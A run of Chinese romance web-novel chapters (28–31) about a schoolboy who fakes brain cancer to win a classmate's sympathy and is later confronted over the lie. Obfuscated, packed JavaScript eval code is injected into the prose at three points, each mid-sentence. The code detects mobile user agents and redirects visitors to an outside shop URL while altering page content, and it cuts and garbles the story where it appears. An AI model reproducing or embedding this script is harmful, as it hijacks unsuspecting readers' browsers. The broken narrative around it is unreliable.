孟一格和孟源的家在一个小区,他们俩结伴回去,林黛蜜和陈喻的家在两个方向,但是陈喻执意要送她回去,说怕路上不安全,见他执意要送,林黛蜜就没再和他争。 正赶上中午的高峰期,呼啸而过的车子一辆接着一辆,陈喻非得让林黛蜜走在里面,他走在车多的那一边。实在要问原因,那就是这一招是孟源不久前发了一个文档给他,内容是一百个能让女生增加好感的小动作,里面就有这么一条。 林黛蜜见他时不时提防着过往的车辆,于是开口说,“咱俩竖着走不就行了吗?” 陈喻:“……可是咱俩还得说话啊?” 林黛蜜:“没关系,我听得见啊。” 服了,真的服了。 除了林黛蜜,还有哪个女生和自己暗恋的男生出来散步,是一前一后走在路上的? 陈喻偏要并肩走,过了一个路口,陈喻突然开口说,“听说你喜欢动漫?” 林黛蜜点头,她在想陈喻怎么会知道,这事儿她只和孟一格提过一次,但转念一想,孟一格知道就等于孟源知道,孟源知道就等于陈喻知道,没毛病。 “那下周一起去看吧。” “下周好像不行,我得和家里人一起去……”林黛蜜想说,她得和家里人一块去扫墓的,可她又害怕这让陈喻感到不开心,话在舌尖一转变成了,“看爷爷奶奶。” “没关系。” 陈喻脸上闪过一丝不自然地尴尬,这是他第一次邀请女生,没想到不太顺利,心里不免有些失落。 28. 28 一周很快过去,周末这天,一家人很早就起来开车前往茨榆村,那里是父亲的老家,也是爷爷最终停留的地方。 老家的说法是,春天了,应该给故去的人烧一些纸,好让他们拿着去买一些新的衣物。 爷爷是她两岁的时候去世,所以她的记忆中没有关于爷爷的任何画面,只是听爸爸讲过,爷爷生前是茨榆村的村书记,临走之前,他唯一的愿望就是埋在这片土地上。 林黛蜜跟在父母和哥哥身后,踩着湿漉漉地山路,往爷爷的坟前走,两天前的一场大雨,让吹来的风都带着凉意。 林韵手里提着一只竹篮,里面盛着黄纸、香烛和几样贡品,陆维正拎着一把镰刀,走几步便割去挡路的杂草,陆知珩走在林黛蜜前面,偶尔回头催促她快点跟上。 “知道了。” 林黛蜜有气无力地回答。 爷爷的墓碑立在半山腰,灰白色的石面上刻着名字和生卒年月,连着几日的大雨,导致上面的字迹已经模糊了,林黛蜜蹲下来,拿出一张湿巾,一点一点擦去墓碑表面的泥,那一串数字便露出来了。 生于公元一九四五年农历四月初五; 卒于公元二零零七年农历十月廿八。 1945年。 崔铭上课的时候总是说,当你看到一个年份,就要去思考,这一年活着的人又搞出了多少事情,哦,活着的人不但会搞出事情,还会搞出很多人。 这是林黛蜜第一次意识到,原来爷爷是1945年生人,也是她第一次意识到,那个年代和她只隔着两代人,关于1945,她知道很多大事,甚至精确到了年月日。 1945年,五月八日,德国无条件投降,六月二十六日,联合国成立,八月六日到九日,小男孩和胖子落在日本广岛长崎…… 最重要的是,八月十五日,日本天皇裕仁通过广播宣布无条件投降。 中国人民胜利了。 当然,没有人注意到有一个男孩,默默地降生,而如今,他已经默默地躺在了这里,这个世界上,所有人都是那个男孩。 好吧,以后当我看到1945这个数字,想起的不再只是历史书上的事情,我还会留一秒钟,在心里说一句,这一年,我的爷爷出生了,出生在一个崭新的时代。 坟头长了几丛野草,陆维正蹲下身,用镰刀利落地清理干净,林韵则从篮子里取出水果和糕点,一一摆在墓前。 陆知珩点燃了香,插在坟前的土里,轻烟袅袅升起,后又被风吹散,几个人跪下开始烧纸,父亲嘴里念念有词,说希望爷爷能保佑她和哥哥。 林黛蜜盯着父亲的侧脸陷入了沉默,她想的是,父亲不应该说这些话,父亲应该说,爸爸,我很想你,你过得好吗? 有时候,她执拗得很,等到烧完纸,大家往回走的时候,林黛蜜故意落在后面,乘着没人注意,她快速折返,“扑通”一声跪在墓碑前,磕了三个头。 “爷爷,我不要你保佑我,我只想你照顾好自己。” “还有,这些年爸爸很想你的。” 这一幕被陆知珩看到,他把林黛蜜的一系列动作拍下来,发了个朋友圈,并配文:烧纸遇到了人才,专业哭丧,有需要请联系,质优价廉。 周日下午,孟源执意要跑来找陈喻度过一个愉快的周末。嘴上这么说,其实是知道陈喻就要出国,冲着他带不走的那些宝贝来的,什么机械键盘,游戏耳机,灯光音响,以后只能他来享用了。 一进屋,孟源两只眼睛就像那盗墓贼进了皇家陵园,一会儿摸一摸这个,一会儿敲一敲那个,脸上还不时露出诡异的笑。 陈喻倒是一句话没说,只是沉着脸,默默地收着东西,不知道在想些什么。 孟源看到他这副样子,以为是舍不得自己,就过去拍了拍他的肩膀,“别这样兄弟,靖海飞纽约也就十几个小时,暑假,国庆节放假你再飞过来我们就又能见面了。” 陈喻:“你知道国庆节的由来吗?” “开玩笑,作为一个中国人我能不知道这个?”孟源霍然站直身子,换了上无比认真的口吻,“1949年10月1日,开国大典在北京天安门广场隆重举行,伟大的毛主席高呼,中华人民共和国中央人民政府今天,成立了,那一天,标志着中国结束了1840年鸦片战争以来一百多年被侵略和奴役的历史,真正成为独立自主的国家,中国人民从此站起来了,成为国家的主人。” 听他激情澎湃地朗诵完,陈喻特意帮他鼓了掌,然后才发出疑问,“那么你觉得,谁是我们赶走的侵略者呢?” “当然是小日本,还有……”说到这里,孟源反应过来了,他爹的,漂亮国也是啊,他们不配过国庆节,末了,还不忘语重心长叮嘱陈喻一句,“你去了以后可不能当汉奸啊,你要是敢,我就暗杀你。” “……您还是操心好自己吧。”陈喻懒洋洋回了一句,“这个也给你。” 孟源巴巴地凑上去,双手接过,是一张攀岩体验馆的运动卡,他妥帖地放进口袋,谄媚一笑,“谢了啊兄弟。” “嗯!” 陈喻没什么情绪地应了一声。 孟源没忍住过去摸了摸他的额头,“这也没生病啊,怎么整个人恹恹的?” 作为最了解陈喻的人,孟源很快就猜到了真正的原因,“你不是舍不得我,你是舍不得林黛蜜吧。” 陈喻沉默了,算是默认。 孟源:“所以你知道自己喜欢上了林黛蜜?” “嗯。” “所以你承认自己喜欢上了林黛蜜?” 陈喻:“这和刚才不是一个问题吗?” “NONONO!” 孟源开始化身情感专家,“知道是理性的觉察,属于大脑的认知判断,比如,我发现自己总是想找她说话,大概是对她有好感。” “而承认是情感的接纳,涉及自我认同和勇气,比如,是的,我喜欢她,哪怕可能会受伤,这意味着你不再逃避,甚至愿意承担喜欢到来的风险,比如被拒绝。” “知道是私密的,承认则意味着对他人坦白,知道是发现心跳加速,而承认是允许自己为这份心跳负责。” 陈喻:“你要是能把用来琢磨这些一半的功夫用在琢磨学习上就不会天天挨骂了。” 孟源:“还有一个重要的问题,你知道自己是什么时候喜欢上她的吗?” 说实话,他不知道,“孟大师,那从你的角度看是什么时候呢?” 孟源,“我觉得开学第一天你就喜欢她。” “不可能,你忘了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958210|193227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我那会还给她起了个不好听的外号。” 那是开学的第二天,每个老师多多少少都有提问的老毛病,那按照惯例,他提问的时候所有人都不举手,时间一长,也就没有这个让人难受的环节了。 但林黛蜜坏了规矩,陈喻花了一整天的时间观察她发现,老师刚提问完她不举手,等老师的目光从全班绕完一圈发现没人举手的时候,林黛蜜就出手了。 不管任何问题,就没有她不会的,刚提问完她不举手,不是因为不会,是在给别人机会,多么善解人意的人啊。 有一个人高兴,那是提问的老师,有一个人悲伤,那就是陈喻,因为林黛蜜老是站起来回答问题,所以老师就会不自觉看着她将,那他怎么能睡得着,所以后来他干脆不睡了,成功养成了在课堂上看课外书的好习惯,结果她那天还说,“我发现你真的很喜欢阅读。” 渐渐地,举手的人多了起来,大家都说是她给六班带来了这种内卷的风气,简直是一颗老鼠屎害了一锅汤。 陈喻听到后觉得不太恰当,就在前面加了个钻石。 钻石老鼠屎。 孟源:“我帮你回忆一下当时,你说林黛蜜是钻石老鼠屎,我问你,老鼠屎我能理解,前面为什么要加个钻石,你那个时候说了什么?” 陈喻记起来了,他说的是。 你不觉得她一直在闪闪发光吗? “这能说明什么吗?” “兄弟,这太能说明什么了,你觉得一个女孩儿在发光,肯定是因为你一直在看着她,喜欢一个人最直观的表现就是目光追随着TA。 可是林黛蜜不喜欢他啊。为此,他还偷偷测试过,有一回,陈喻和一个女生说了几句话。 林黛蜜走过来问:“你刚才和那个女生说什么?” 陈喻故意说,“她向我表白,说喜欢我。” 其实并没有,谁会在大街上看到一个男生就表白,那个女生只是问他有没有看到一个黑色的钱包,陈喻故意这么说,只是想确认一下,确认一下林黛蜜到底有没有一点,喜欢自己。 结果林黛蜜反问他,“原来是表白啊,那你接受了吗?” “我不喜欢那样的。” 林黛蜜又问问:“那你喜欢什么样的?” “你这样的。” 当时,陈喻的目光定在林黛蜜脸上,不错过她任何一个细微的表情,不过他也确实多虑了,她脸上浮现的是坐在考场里绞尽脑汁答题时的那种表情。 这对吗? 林黛蜜偏头思考了五六秒,说,“我这样的啊……那可能不太好找。” 陈喻:“……” 这么呆,确实不好找,世界上都找不出第二个来。 哈哈哈哈哈,孟源听完笑得捶床,“我说兄弟,你们俩要想在一起有点困难啊。” “有那么好笑吗?”陈喻抬腿给了他一脚,又苦恼地问:“你说我走之前要不要告诉她?” “我觉得应该告诉,至少不留遗憾。” “我还是再想想吧。” 见他还没拿定主意,孟源也不打扰他了,掏出手机开始打游戏,其实长这么大,他还没见过陈喻为什么事儿这么头疼过。 果然啊! 爱情这杯酒,谁喝都得醉。 29. 29 认识陈喻的时候,是小学一年级,两人被分到了一个班,五岁的年纪,那会儿还没有崇拜这个概念,后来发生了一件事,让孟源决定跟着陈喻混。 事情发生在一个狗都不敢出门的炎热酷夏,当时,有个小屁孩从家里顺来了一个打火机,开始只是点纸,大概是觉得玩得不过瘾,后来竟然把遮光窗帘点着了,只见橘红色的火舌“唰”地舔上布料,眨眼之间淡黄色的纱布窗帘上就烧出了一片焦黑。 因为是下课时间,教室里没有老师,孩子们瞬间炸开了锅,机灵一点的跑去找老师,大部分都被吓得站在原地大哭。 只有陈喻一脸淡定跑出教室,垫脚取下挂在墙角的灭火器,他拔掉保险销,对准了还在燃烧着的窗帘一顿喷,干粉喷出去没几秒火就灭了,陈喻又一脸淡定地把灭火器放了回去。 那一刻起,孟源就决定要跟着陈喻,事实证明,他当初做出的这个决策是无比英明的。 不了解的人,会觉得陈喻有点距离感,其实他只是知道自己到底要什么,孟源有时候在思考,什么样的人会一直保有慑人的魅力,或者说通俗一些,什么样的人身上有那种人家不搭理你,你还是会忍不住凑上去的魅力。 是这个人学历高?颜值高?有钱?都不是,孟源观察了很多人,发现是这个人的性格,是淡定,那份遇事不慌的沉静,这一点,陈喻真的是有点天赋在身上的,想一想,一年级拿着灭火器淡定灭火的人又有几个,有这样性格的人在你身边,你的安全感会被无限放大,同时,你自己的自信也可以被点燃,你会忍不住去像他一样处理事情,也会舒适自然地做自己。 不过陈喻有个缺点,至少在孟源看来是缺点,陈喻不喜欢争辩,不是不敢也不是争辩不过,是不屑,这是他性格中傲慢的那一部分,其实他内心压根没有把别人和自己放在同一高度。 大概是因为他过早明白,很多人只相信自己,争论并不能解决问题,更不可能点醒那些人,反而浪费时间,可这事儿不好的一面就是,即使别人冤枉了他,他也懒得管,就像刘宏路那事儿,到现在还没有个交代。 打了一个多小时的游戏,家里人发了微信问他在哪里,孟源回复完之后随手点开朋友圈,紧接着眉头皱起来,“兄弟啊,你快过来看。” “怎么了?”陈喻拿过孟源的手机扫了一眼那个五六秒的视频,不自觉弯了嘴角,“林黛蜜怎么做什么都有种呆呆的可爱。” 孟源:“……” “哥,你的重点放在这里吗?”他咬着牙提醒,“睁大你的眼睛,看清楚这是谁发的。” 陈喻的视线往上挪了一点点。 陆知珩? 难道他们不但家住在一起,连坟都连在一起吗?除此之外,陈喻真的想不出陆知珩还有什么其他出现在那里的理由了,还是说,林黛蜜家里人已经默认陆知珩了。 陈喻一颗心慢慢往下坠,他动了动唇,略带着几分自嘲,“也好吧,反正我也要走了,而且陆知珩人也很好,也真的很关心她。” 看他这个衰样,孟源简直受不了,“你这算什么?人家一个几秒钟的视频就把你打趴下了?就算你要出国那又怎么样,你又不打算死在美国。” “来,拿着,”孟源强制将手机塞进陈喻的手里,“你现在就发消息给林黛蜜,你问她能不能出来见一面?。” “我用什么理由呢?” 孟源两手一摊,“这理由不是现成的吗?就说快要走了吃个践行饭呗。” “哦!” 陈喻拿着手机缓缓打下几个字。 【晚上一起去烧纸吗?】 “这就对了嘛,”孟源眼里露出赞赏的光芒,“我认识的陈喻,可是不把任何人放在眼里的……” 当看到屏幕上陈喻发的那一行字时,孟源剩下的话生生卡在喉咙里,他一拍大腿,“我的活爹欸,你发的这是什么破理由?” “你不是说这是现成的吗?” “大哥啊,谁和喜欢的女生约着去烧纸啊?”孟源崩溃到原地转圈,果然,再精明的人遇到爱情都会变傻瓜,“我说,人家陆知珩可能就是碰巧遇上了……欸,你自己看着办吧,我已经不知道怎么收场了……” 还能怎么收场,收不了场那就硬着头皮演完呗,陈喻一口气咕嘟咕嘟喝下去一整罐冰可乐,等头脑冷静下来,很快,他已经构思好了一套说辞。 晚上六点,他们在约定好的一家肯德基店见了面,像是提前商量好了似的,两人都穿着一身黑色的运动套装,肩上背着一个很大的布袋,布袋里装着满满的纸钱。 陈喻问,“我用这么荒唐的理由约你出来,你为什么不拒绝我?”中午的时候,他在手机上对林黛蜜解释说,因为要死了,所以得提前烧一些纸钱,免得过去了变成穷光蛋,这个理由简直烂到爆,估计世界上也只有林黛蜜,她不但没骂他有病,还傻乎乎地扛着一袋纸钱跑过来。 林黛蜜没有马上回答,她的眼中有化不开的悲伤,比夜色还浓,陈喻和她对视,一股酸涩的心痛,自他心底翻涌而出,陈喻第一次觉得自己是个卑鄙无耻小人,他想把所有都解释清楚,告诉她,他只是出国不会死,可是,解释完之后呢?林黛蜜大概这辈子都不会再和他说话了吧。 过了很久,林黛蜜才开口,她挤出一丝笑容,“又不是很过分或者损害别人利益的要求,我为什么要拒绝,只要是你相信的,我都愿意陪你做。” “我们开始吧。” 两人朝北走了几百米,在一个风口停下来,除了他们,还有很多跪在石灰地上烧纸钱的人,林黛蜜把包里所有的纸钱掏出来,捏了一小沓在手里,另一只手按着打火机,“吧嗒”一声火苗窜起来,纸钱被点燃。她想起了爷爷的墓碑,再过不久,陈喻也会变成那样吗?方方正正立在那里。 纸钱在火里蜷曲、变黑,最后化作灰烬,风一吹,便打着旋儿飞起来,像一群黑色的蝴蝶。林黛蜜盯着那些纸灰看,它们飘得忽高忽低,有些落在草叶上,有些则被卷得更远,消失在黑暗里。 人死了,就真的什么都没了吗?身体腐烂,名字刻在石头上,再往后,连记得他的人也会一个个离开,最终连这块碑也会被风雨磨平,像从未存在过一样,她忽然觉得喉咙发紧,眼中顿时蓄满了泪水。 陈喻试图逗她笑,“好了,烧那么多过去要是被大鬼小鬼抢劫了怎么办?” 林黛蜜想了想,她起身捡来一个拇指粗的棍子,伸进火里将顶端熏黑,然后在地上画了三个圈。 她将剩下的纸钱分别放在三个圈内,嘴里念念有词,“左边这一堆就给无家可归的人,中间这一堆给无儿无女的人,右边这一堆给爷爷,爷爷,等陈喻去了那边您帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他发现自己在流汗,而现在是深秋,室外温度十几度,想把这种奇怪的生理现象赖给天气,他自己都不好意思,脑子里反复闪现这几句话。 她为什么要亲我! 我哪里见过这种大场面。 现在我该怎么办? 我要说点什么吗? 我应该做什么! 想到这里,他一骨碌翻身,打开手机在各大软件一顿搜索。 亲吻额头代表着什么? 高赞回答。 爱是克制! 额头吻代表对对方的尊重和珍视。 好吧,这下直接不用睡了。 一分钟后,他点开家里的微信群,非常坚定地打下一行字。 【我不打算出国了。】 想了想,左右今天晚上也睡不着了,他又补充了几句话。 【你们肯定会说,因为我的事情,你们都睡不着觉。】 【睡不着就回来和我吵架吧。】 【因为我也睡不着。】 【等你们。】 他要是走了的话,林黛蜜会伤心到大哭,她的眼泪像雨点,他总不能一辈子都躲雨。 他也不想死,他想在她身边。 长命百岁。 30. 30 十几分钟后,当陈禛启和喻晓一起黑着脸出现在客厅时,陈喻忽然觉得,和谁结婚真的是命中注定的,就像他的父母,明明分开的时候都会心平气和说话,可凑到一起就会忍不住吵架,陈喻有一次提出了这个疑问,结果两人的回答出奇的一致。 我们那是在争论,不是在吵架。 而且,陈禛启还在私下里告诉过陈喻,他和喻晓只代表一种婚姻模式,不要因为他们,而对爱情和婚姻产生畏惧心理。 他还说,日常生活中有争吵和摩擦的夫妻,会通过“吵架”这种沟通模式解决一些问题,再不济能让不满的情绪得以释放,反而能够更加长久地维持婚姻关系。而那些表面上看起来非常和谐的夫妻呢,看似恩爱,可能是双方都在压抑自己的情绪,长期积压在心里可以会加深矛盾。 太复杂了。 要是实在很喜欢一个人,为什么不一直谈恋爱呢?陈喻这边还在思考,那边夫妻两个把大衣一脱,争论又开始了,一般来说,他只需要参与前半部分。 喻晓抱着胳膊冷冷道:“说说吧,为什么不想出国了?” 陈喻想起了林黛蜜的话,“我不想出国,这是个完整的句子,没必要向你们解释。” 林黛蜜的名言之一,你还真别说,这套公式做题就是快啊。 陈禛启:“?” 喻晓:“?” 陈禛启看了眼儿子,“不想出国就得参加高考,你不是说高考制度是对生命的一种浪费吗?” 陈喻:“我又不是为了高考才留在国内的。” “这样啊,”陈禛启思索片刻,“那既然不想出国了就顺手考一考。” 喻晓猛得拍一下茶几,震得上面的玻璃杯一跳,“陈禛启,这还什么都没问出来,你就妥协了?真不知道你的合同都是怎么谈下来的?” “你先别急,这不是在商量吗?那他要实在不愿意出国,还能把他绑了送上飞机不成?” “陈禛启,你又充当上好人了是吧,最开始不是你撺掇他出国留学的吗?你还说什么国外的教育人性化,是快乐教育,结果我把学校什么都联系差不多了,你又不肯了?” “那我儿子当时不是不开心吗?他都快出家了,我就想让他乐乐呵呵的,再说去国外,你当时也很支持啊。” 陈喻为自己解释,“打断一下,我不是出家,我去清泉寺,只是想找到内心的宁静。” 喻晓:“我支持是为了让他去学东西,不是让他出去乐呵的,他现在这么吊儿郎当都是因为你。” 眼看一时半会结束不了,陈喻回到卧室,打开钢琴盖,随手弹了了一曲《匆匆那年》,伤感遗憾的调子一出来,再搭配上他们的争论,嗯,这感觉就对了。 这届网友真的很有才华。 喻晓声音拔高,“你也别和我较劲,现在的主要问题是他为什么不愿意出国了?” /匆匆那年我们我们究竟说了几遍再见之后再拖延/ 陈禛启:“你还不了解他,他不愿意说的事情我能知道?” /匆匆那年我们一时匆忙撂下难以承受的诺言/ “都是你惯的,”喻晓嘲讽一笑,“还提倡什么朋友式的亲子关系,怎么,你的朋友连这个都不告诉你?” /如果再见不能红着眼是否还能红着脸/ “我就一个儿子我惯他不应该吗?”陈禛启开始翻旧账,“不像某些人,一天就知道上那个破班开那个破会,儿子连朋友都不想和你做呢。” /我们要互相亏欠要不然凭何怀缅/ “好,陈禛启麻烦你告诉你的好朋友,他不说,老娘有的是手段。”喻晓狠狠剜陈喻一眼,“没看到我们在商量事情吗?你大晚上抽风弹什么钢琴?” 陈喻:“你们不觉得搭配上这个BGM气氛突然就浪漫起来了吗?就好像,你俩从红着脸走到了红着眼。” 陈禛启:“确实有那么一点感觉,原来艺术和生活就差个BGM,你把歌名发到老爸手机上,下次吵架时,你不在我自己放。” 喻晓:“……” 真是造了孽了!摊上这两个二货。 陈喻一夜没睡着,他一直在想要怎么跟林黛蜜说清楚,她一定会生气,打也好骂也好,怎么样都无所谓,可他就是怕林黛不再理睬他。 心里揣着这么一件事,陈喻上课一直处于神游的状态,大课间时,林黛蜜问他,“你今天怎么了,身体不舒服吗?” 陈喻目光复杂地看着她,“如果有人欺骗了你,你会怎么惩罚那个人?” 林黛蜜轻飘飘开口:“打死他喽。” 陈喻脸色一僵。 “开玩笑的,”林黛蜜恢复正经,说,“那要看他欺骗了我什么?” “要是他欺骗了你的感情呢?” 林黛蜜不解:“我的感情在我这里,他怎么能欺骗走?” 陈喻咬咬牙,暗示她,“我有个朋友,他喜欢一个女生,但是他那个人很无趣不知道怎么接近那个女生,而那个女生呢,非常善良,非常可爱,我的朋友就假装自己得了不治之症,想去博女孩的同情,那么,现在他想向女孩道歉,如果是你,你会原谅他吗?” 林黛蜜沉默了一会儿,陈喻一直在观察她,他心想,这么明显的无中生友,应该听出来了吧。 “要是我的话,林黛蜜停顿了下,“我当然会原谅他。” 陈喻先是松了一口气,很快,心又揪起来。 “不过,我原谅他是为了远离他,怨恨一个人是很消耗自己的事情,还有啊,我觉得你那个朋友有点腹黑,”末了,林黛蜜还不忘提醒他,“你这么单纯千万不要被他骗哦,记得离他远一点哦。” 千万不要被他骗哦! 记得离他远一点! 陈喻在心里忍不住重复她的话, 呵,真是自作孽不可活。 自从进入五月份,时间就变过飞快,马上就要期中考试了,考完试得开家长会,有小道消息说,这次期中考试,市里好几所高中都要参加联考。 用同一张试卷自然会有对比,有对比就有伤害,虽然大家嘴上都不说,可心里还是绷紧了一根弦,这种变化也体现在体育课上。 象征性地跑了两圈之后,王铁柱就解散了队伍,剩下的时间留给学生自由支配,于是大多数人无比默契地掏出了书,杨雅茹也找了个石灰台阶坐着背单词去了。 林黛蜜和孟一格看着对方空空如也的两只手,突然笑出来,算了,两个人身上凑不出来一片草稿纸,还学什么,其实林黛蜜也没打算在体育课上学习,她是个不焦虑的人,她尊重自己内心的感受。 在期中考试中取得一个好成绩很重要,考个好成绩让家长在家长会上扬眉吐气也很重要,可是期中考试之后呢?还会有月考,还会有期末考试,这之后还有高考,高考关乎你能不能去一个好学校,后面还有研究生考试,公务员考试……总之吾生也有涯,而考试也无涯,以有涯随无涯。 殆已! 永远为下一个目标焦虑奔波,那么什么时候来感受生命呢?有些东西是不会等你的,比如这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958212|193227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季节,学校那颗梅子树上的梅子成熟了。 两人偷偷摸摸溜到操场背后的小花园,沿着石子路一直走,七扭八拐之后,眼前出现一棵五六米高的梅子,它的主干有碗口粗细,树皮是灰褐色的,摸上去粗粝得很。 林黛蜜伸手够了一下,没够着。孟一格显然经验丰富,她消失了几分钟,回来时手里拎着一把掉了油漆的木凳,“踩着这个。” “靠谱。”林黛蜜朝她竖起大拇指。 “够到了。”林黛蜜一手拽着树枝条,一手将红褐色的梅子摘下来小心放在准备好的透明塑料袋里。 她垫着脚,簌簌的清风吹过,树叶被翻动,露出灰白的底色来,斑驳的光影照在她年轻的脸上,映着那些或饱满或腐烂的果实,竟显出几分热闹的凄凉。 很久之前,有一次,她和妈妈翻看老照片,有一张很特别的照片,那是妈妈十几岁大的时候爬上桃树摘桃子时,外公拍的。 她记得,妈妈摩挲着照片说,那样宁静平凡的日子,它已经将我落在那里,很久很久了。 那时候她还在想,被宁静平凡的日子落下很久是一种什么样的感觉,现在她明白了,人越长大日子越会变得匆忙而锋利,而有些瞬间是不可以复制的,这方面诗人刘过总结得最好。 欲买桂花同载酒, 终不似,少年游。 类似的时刻,发生在无数个晨昏交替的天光云影中,毋庸置疑,此刻就是,踮起脚尖摘梅子,她抬头,风很轻,云走得很慢,她确定这个时刻,会被以后的自己时常回忆起来。 真奇怪。 明明还没有失去。 却学会了提前悼念。 真的是个很不好的习惯。 “糖糖,差不多够了。” “马上马上。”林黛蜜回过神,她换了一根树枝揪在手里,“我多摘几个拿给陈喻也尝尝。” 孟一格挑了下眉,抬头问:“你这么喜欢陈喻呀?” 林黛蜜想了想说,“其实……我主要是觉得他可怜吧。” “他可怜?”孟一格简直不敢相信自己的耳朵,“咱俩说的是一个人吗?要颜值有颜值要钱有钱要脑子有脑子,父母双全,家庭美满,他还有什么值得你可怜的地方?” 林黛蜜缓缓放开揪在手心里的树枝,任由其重新伸向天空,她从破椅子上跳下来,“可是他生病了啊。” 孟一格眼底带着明显的困惑,“除了自恋他还有别的病?” “一格,他得了脑癌你不知道吗?” 孟一格蹙眉:“什么脑癌?我不知道啊,啥时候的事儿?” “不对,你应该知道的,你们不总是说他快要走了吗?”林黛蜜眸光里,闪烁着淡淡的疑惑。 孟一格似乎明白了,“首先,他是要走了,可我们说的走是走出国门,不是走出生物圈,那你为什么认为他得了脑癌呢?” “是他自己告诉我的啊。” “那一天……就是这样。”林黛蜜用了不到一分钟就讲完了在理发店的全过程。 “我的傻呆瓜,这一听就是他不想办卡找的借口啊,” “是这样吗?” “那不然呢?宝贝你想啊,他要是真的得脑癌了,不去治病还跑来上学?他家里人能不管?胡波还会骂他?” 林黛蜜头一次认真思考起来,她并没有把后面陈喻自己已经承认的事情告诉孟一格,所以她是被骗了吧,可是为什么呢?这样做对他有什么好处吗? 她可是真心实意的,为他伤心惋惜了好久。 31. 31 下课集合的哨声尖锐地响起,划破午后的空气,一同划破的,还有林黛蜜的思绪。 她站在跑道边缘,手指无意识地绞着运动服的衣角,目光穿过操场,锁定在那个高挑的身影上,陈喻正和几个男生说笑着走向篮球场,阳光下他的笑容格外刺眼。 什么提前烧纸。 什么学好数理化,到底下好找工作,他的口中,没有一句真话。 “糖糖,发什么呆呢?”孟一格拍了拍她的肩膀,“老师让集合了。” “哦,好。”林黛蜜勉强收回视线,跟着走向集合地点,但心思全在陈喻身上,真是够讽刺的,昨天放学后,她甚至特意去找妈妈,想问问她有没有认识很厉害的医生。 想到这里,一股无名火窜上心头。她捏紧了拳头,指甲深深掐进掌心。 太过分了! 集合完毕后是自由活动时间,林黛蜜深吸一口气,径直朝陈喻走去。 “陈喻。” 她的声音比想象中还要尖锐,周围的嬉闹声戛然而止,陈喻转过头,额前的碎发被汗水打湿,贴在皮肤上,看到是她,眼睛明显亮了一下。 “来找我?”他小跑过来,脸上挂着那种很好看的痞笑,“这里有点晒要不回教室说?” 周围的男生发出暧昧的起哄声,林黛蜜感到脸颊发烫,但更多的是愤怒,“你跟我过来一下。”她压低声音,转身走向操场边缘的一棵梧桐树下。 陈喻挑了挑眉,跟了上来。“怎么了?这么严肃?” 树荫下,林黛蜜直视着他的眼睛,那双总是带着笑意的眼睛此刻满是困惑,她突然不确定自己该怎么开口,但胸腔里那股闷气驱使着她,她的声音甚至有些发抖,“你根本就没得什么脑癌对吗?” 陈喻的表情瞬间凝固了,他眨了眨眼,嘴角的弧度慢慢消失,“你……都知道了?” “所以是真的?”林黛蜜感到一阵眩晕,只觉得心脏在胸腔里疯狂跳动,亢奋又委屈。 陈喻移开视线,挠了挠后脑勺,“这个是因为..……” “你骗人!”怒火一瞬间占据了上风,她的声音陡然拔高,引来不远处几个同学的侧目,“你根本一点事都没有!为什么要拿这种事情开玩笑?” 她的睫毛轻颤两下,接着,泪珠便顺着脸颊滑落,她也不说话,那双潮湿的眼睛只一味望向他。 陈喻的脸色变了,他张了张嘴,却什么也没说出来。 林黛蜜感到眼眶发热,视线变得愈发模糊,她抬手将眼泪抹去,说,“你没有生病,我很高兴。” “林黛蜜,我.……”陈喻伸手想拉她,却被她猛地甩开。 “别碰我!”泪水终于决堤,“耍我很好玩是吗?看我为你担心你很得意是吗?看我陪你做那些傻事很有趣是不是?” “不是这样的!” “那是怎么样的?你从一开始就没有尊重我,是谁逼你这样做的吗?这难道是什么善意的谎言吗?”林黛蜜步步紧逼,她也是真的想不通。 陈喻急切地想组织语言解释,但林黛蜜已经转身跑开,只留下运动鞋在水泥地上发出急促的哒哒声。 她一路跑回教学楼,冲进教室,跑向他们的座位,阳光透过玻璃窗洒在两张并排的课桌上。林黛蜜的胸口剧烈起伏着,泪水模糊了视线,她粗暴地拉开自己的椅子,开始收拾抽屉里的书本。 坐在后面的孟一格和杨雅茹关切地拉住她的手,“怎么了糖糖?谁欺负你了?” 林黛蜜摇摇头,这才看到教室里仅有的几个人都在看向这边,她吞咽了两下,便止住了眼泪,“没什么,没人欺负我。” 正当她抱起一摞书准备搬到后排的空位时,教室门被猛地推开。陈喻气喘吁吁地从门口跑过来,额头上还挂着汗珠。 “等等!” “走开!”林黛蜜冷冷丢下两个字,侧身避开他,但陈喻抓住了她的手腕。 “对不起!”他的声音里带着前所未有的认真,“我错了,我不该编这种谎话,我真的错了。” 林黛蜜盯着他的眼睛,用力挣脱他的手,伴随着的,是书本散落在地上的哗啦声,“我不要和你这样的人做朋友,我不想看到你,你这个人实在是太不真诚了。” 站在一旁围观的三个人默契地对视了一眼。 就这样,无声僵持了几秒,陈喻后退半步,似乎妥协了,他垂眸,“你就坐在这里,该走的人,是我。” 说完,他微微弯腰,抽出桌肚子里的书包,三两步走到孟源的旁边,“暂时换一下位置。” 